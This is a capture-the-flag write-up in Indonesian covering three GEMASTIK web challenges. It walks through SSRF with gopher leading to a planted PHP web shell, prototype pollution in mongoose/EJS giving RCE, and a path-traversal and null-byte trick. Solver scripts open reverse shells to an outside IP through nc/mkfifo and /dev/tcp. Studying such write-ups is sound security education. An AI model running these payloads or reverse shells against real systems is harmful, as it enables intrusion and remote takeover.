![](https://avatars.githubusercontent.com/u/109392350) Team: 1. Aimar Sechan Adhitya 2. Dimas Maulana # Databreach - web Pada challenge ini kita akan diberikan url yang menuju suatu website: ![](https://hackmd.io/_uploads/r1zuNa7in.png) Pada website tersebut kita bisa melakukan serangan SSRF yang bisa kita gunakan untuk membaca local file. Hal pertama yang kita perlu perhatikan adalah `secret.php` yang terdapat di *Current Working Directory (CWD)*. Disini kita dapat menggunakan protocol `file:///` untuk membaca `secret.php`. Ada beberapa teknik untuk kita bisa membaca file di dalam *CWD* yaitu yang pertama dengan menggunakan common path dari apachenya yaitu `/var/www/html/` dan yang kedua menggunakan `/proc/self/cwd`. Disini saya menggunakan cara pertama dengan mengakses *URL* berikut: http://ctf-gemastik.ub.ac.id:10022/?url=file:///var/www/html/secret.php ![](https://hackmd.io/_uploads/SkD5wpQoh.png) ```php= <?php include 'config.php'; $res = NULL; if ($_SERVER['REMOTE_ADDR'] === "127.0.0.1") { if ($_SERVER['REQUEST_METHOD'] === "POST" && isset($_POST['role']) && isset($_POST['query']) && $_POST['role'] === "admin") { try { $query = $_POST['query']; $stmt = $conn->query($query); $result = $stmt->fetchAll(PDO::FETCH_ASSOC); print_r($result); } catch (PDOException $e) { system($query); die("Query failed: " . $e->getMessage()); } } } ``` pada source code diatas dapat terlihat bahwa terdapat kerentanan *Command Injection* yang terdapat di line ke 18 (`system($query);`). Tetapi untuk mengaksesnya kita harus membuat request dari ip `127.0.0.1` (`($_SERVER['REMOTE_ADDR'] === "127.0.0.1")`) dan juga menggunakan *POST* request dengan data yang terdapat `role` dan juga `query`. Untuk melakukan itu kita bisa menggunakan protocol *Gopher*. Gopher dapat kita gunakan untuk membuat *raw* request, contohnya saat kita menggunakan request seperti berikut: ![](https://hackmd.io/_uploads/r1CgcT7ih.png) Maka gopher akan mengirimkannya menjadi seperti bentuk berikut: ![](https://hackmd.io/_uploads/H1tG5aXj2.png) Untuk *meng-craft* url gopher saya menggunaka script berikut: ```python= from typing import Literal import requests from urllib.parse import quote, urljoin import os URL = "http://ctf-gemastik.ub.ac.id:10022" class API: def __init__(self, url=URL) -> None: self.url = url self.s = requests.Session() def path(self, path): return urljoin(self.url, path) def make_raw_post_request(self, path, **kwargs): "make raw post request" req = requests.Request("POST", self.path(path), **kwargs) prep = self.s.prepare_request(req) res = '{}\r\n{}\r\n{}\r\n\r\n{}'.format( prep.method + ' ' + prep.path_url + ' ' + 'HTTP/1.1', 'Host: ctf-gemastik.ub.ac.id:10022', '\r\n'.join('{}: {}'.format(k, v) for k, v in prep.headers.items()), prep.body, ) return res if __name__ == "__main__": api = API() payload = api.make_raw_post_request( "/secret.php", data={"role": "admin", "query": "echo \"<?php system(\\$_GET['cmd']);?>\" > dimasmaulana.shell.php"}) payload = quote(quote(payload)) print("gopher://localhost:80/_"+payload) ``` Saat dijalankan maka akan membuat payload gopher seperti berikut: ```! gopher://localhost:80/_POST%2520/secret.php%2520HTTP/1.1%250D%250AHost%253A%2520ctf-gemastik.ub.ac.id%253A10022%250D%250AUser-Agent%253A%2520python-requests/2.31.0%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept%253A%2520%252A/%252A%250D%250AConnection%253A%2520keep-alive%250D%250AContent-Length%253A%2520111%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Arole%253Dadmin%2526query%253Decho%252B%252522%25253C%25253Fphp%252Bsystem%252528%25255C%252524_GET%25255B%252527cmd%252527%25255D%252529%25253B%25253F%25253E%252522%252B%25253E%252Bdimasmaulana.shell.php ``` Payload tersebut kita copy paste dan kita letakkan di parameter *url* seperti berikut: ![](https://hackmd.io/_uploads/BJH0spXsh.png) Setelah itu kita bisa cek file `dimasmaulana.shell.php` untuk mengakses backdoor yang telah kita buat: ![](https://hackmd.io/_uploads/S18Qna7oh.png) # Gemashnotes - Web Pada challenge ini kita akan diberikan sebuah source code js tanpa adanya `package.json` atau `package-lock.json`. Rupa-rupanya pada server menggunakan mongoose lawas yang memiliki [CVE-2023-3696](https://security.snyk.io/vuln/SNYK-JS-MONGOOSE-5777721), ini saya sadari setelah menerima masukan dari tim saya dan mencobanya di local dengan environtment mongoose yang memiliki CVE tersebut: ![](https://hackmd.io/_uploads/SyCYlCXon.png) Karna challenge menggunakan EJS, kita bisa memanfaatkan kerentanan *Prototype Pollution* ini untuk mendapatkan RCE. Untuk lebih jelasnya mengenai vulnerability ini kalian bisa melihat writeup saya di SEETF 2023 https://hackmd.io/@Solderet/HyEIUaXvn Saya menggunakan script ini untuk mendapatkan *Reverse shell* ke mesin challenge: ```python= import requests # URL = "http://localhost:3000/" URL = "http://ctf-gemastik.ub.ac.id:10023/" res = requests.post(URL+"notes", json={ "title": "1", "content": "console.log;return global.process.mainModule.constructor._load('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 108.137.37.157 4444 >/tmp/f');", }) print(res.text) note_id = res.json()['_id'] note_url = URL+"notes/"+note_id res = requests.put(note_url, json={ "$rename": { "title": '__proto__.settings.view options.client', "content": "__proto__.settings.view options.escapeFunction" } },) print(res.text) res = requests.get(note_url) print(res.text) res = requests.get(URL+"/notes/a") ``` > Note: Untuk menjalankan script ini jangan lupa untuk mengganti IP-nya dengan IP public atau ngrok url kalian. Setelah kita jalankan maka kita akan mendapatkan shell dan bisa membaca flag di root directory: ![](https://hackmd.io/_uploads/B1ZJmRXjh.png) ![](https://hackmd.io/_uploads/HypBXAXsn.png) ![](https://hackmd.io/_uploads/B19IQRXjn.png) # Web Tool - Web (Solve After CTF) Pada challenge ini kita akan diberikan web seperti berikut: ![](https://hackmd.io/_uploads/BkMUI8Ejh.png) Challenge ini menggunakan java sebagai servernya, kita akan melihat webtool.jar pada attachment yang diberikan: ![](https://hackmd.io/_uploads/HkPJwLEi2.png) `webtool.jar` ini bisa kita decompile menggunakan tools online seperti http://www.javadecompilers.com/ . Saat kita berhasil mendecompilenya, kita akan mendapatkan hasil decompile seperti berikut: ![](https://hackmd.io/_uploads/SyMSD84sn.png) Yang menarik dari hasil decompilation tersebut adalah di bagian `ToolingController.java` pada bagian berikut ini: ```java=41 ...snip... @PostMapping({ "/execute" }) public String executePage(@RequestParam("program") final String programName, @RequestParam("file") final MultipartFile file, final HttpSession session, final RedirectAttributes redirectAttributes) throws Exception { if (session.getAttribute("isLogin") == null) { return "redirect:/auth/login"; } if (!programName.equals("md5sum") && !programName.equals("base64")) { redirectAttributes.addFlashAttribute("error_msg", (Object)"Invalid program name."); return "redirect:/tools"; } if (file.isEmpty()) { redirectAttributes.addFlashAttribute("error_msg", (Object)"Failed to store empty file."); return "redirect:/tools"; } final Path destPath = Path.of("/tmp", UUID.randomUUID().toString()); final InputStream inputStream = file.getInputStream(); Files.copy(inputStream, destPath, StandardCopyOption.REPLACE_EXISTING); String userFolder = (String)session.getAttribute("username"); if (this.accountRepository.findByUsername(userFolder) != null) { userFolder = this.accountRepository.findByUsername(userFolder).getFolder(); } final String programPath = invokedynamic(makeConcatWithConstants:(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;, this.userDataPath, userFolder, programName); final ProcessBuilder processBuilder = new ProcessBuilder(new String[] { programPath, destPath.toString() }); final Process process = processBuilder.start(); process.waitFor(10L, TimeUnit.SECONDS); process.destroy(); redirectAttributes.addFlashAttribute("success_msg", (Object)"Finish executing."); return "redirect:/tools"; } ...snip... ``` Jika dilihat sekilas, kode ini terlihat secure, tetapi jika kita melihat di implementasi "Delete User" dan implementasi "User Folder" sebagai berikut: > /id/co/gemastik/web/webtool/controller/AccountController.java ```java=21 ...snip... @GetMapping({ "/delete" }) public String deleteAccount(final HttpSession session, final Model model) { if (session.getAttribute("isLogin") == null) { return "redirect:/auth/login"; } final AccountModel acc = this.accountRepo.findByUsername((String)session.getAttribute("username")); this.accountRepo.delete((Object)acc); session.invalidate(); return "redirect:/"; } ...snip... ``` > /id/co/gemastik/web/webtool/controller/ToolingController.java ```java=57 ...snip... String userFolder = (String)session.getAttribute("username"); if (this.accountRepository.findByUsername(userFolder) != null) { userFolder = this.accountRepository.findByUsername(userFolder).getFolder(); } ...snip... ``` Jadi jika kita membuat 2 session dan menghapus salah satu session, server akan menggunakan username kalian sebagai `userFolder` pada session yang masih aktif. Kurang lebih seperti ini sequence diagram dari attack yang akan kita lakukan: > Note: disini saya menggunakan server local dari attachment yang diberikan agar bisa melihat log server ```plantuml @startuml participant Attacker participant Server participant Database group #lightyellow Session 1 Attacker --> Server: register Server --> Database: simpan Attacker --> Server: login end note right: Anggap saja kita menggunakan username ../../etc/passwd group #lightblue Session 2 Attacker-->Server: login Attacker-->Server: register Attacker-->Server: delete user note right: Saat kalian men-delete user, session 1 akan tetap aktif end group #lightyellow Session 1 Attacker-->Server: execute note right: Disini kita mengirimkan file asal ke endpoint /execute Server --> Database: Apakah ada username "../../etc/passwd"? Database --> Server: nil note right: username "../../etc/passwd" sudah tidak ada di\nserver karena kita sudah mendeletenya\ndi session 2 Server --> Server: Ok, kita akan menggunakan username\nsebagai path.\npath ../../etc/passwd/base64 tidak ditemukan Server --> Attacker: 500 end ``` Setelah mengirimkan file asal, kita akan melihat error seperti ini di bagian server yang menandakan kita berhasil mendapat LFI: ![](https://hackmd.io/_uploads/BJxXHPNih.png) Nah sekarang bagaimana kita membypass *addition* "base64" string kedalam path kita? ![](https://hackmd.io/_uploads/BJYA_vVjh.png) Pada hint soal kita diberikan hint "*Debian is using C for their OS implementation*", setelah membaca hint ini saya mengingat salah satu trick yang biasanya digunakan di *binary exploitation* yaitu menggunakan null byte ("\0", "\x00"), yang dimana C pada dasarnya akan berhenti membaca string setelah null byte. Jadi tanpa basa basi lagi, berikut adalah solver saya untuk mendapatkan revershell pada challenge ini: ```python= import requests from urllib.parse import urljoin URL = "http://localhost:10020" # URL = "http://ctf-gemastik.ub.ac.id:10020/" class API: def __init__(self, url=URL) -> None: self.url = url self.s = requests.Session() def join(s, path): return urljoin(s.url, path) def register(s, username, password): return s.s.post(s.join("/auth/register"), data={ "username": username, "password": password }) def login(s, username, password): return s.s.post(s.join("/auth/login"), data={ "username": username, "password": password }) def delete(s): return s.s.get(s.join("/account/delete")) def execute(s, program, file): return s.s.post(s.join("/execute"), files={ "program": (None, program), "file": (file) }) if __name__ == "__main__": username = "../../bin/bash\0" password = "dimas" session1 = API() session1.register(username, password) session1.login(username, password) session2 = API() session2.login(username, password) session2.delete() session1.execute("base64", "sh -i >& /dev/tcp/108.137.37.157/4444 0>&1") ``` ![](https://hackmd.io/_uploads/Bk24qDNjh.png) ![](https://hackmd.io/_uploads/HkmU9vEo2.png)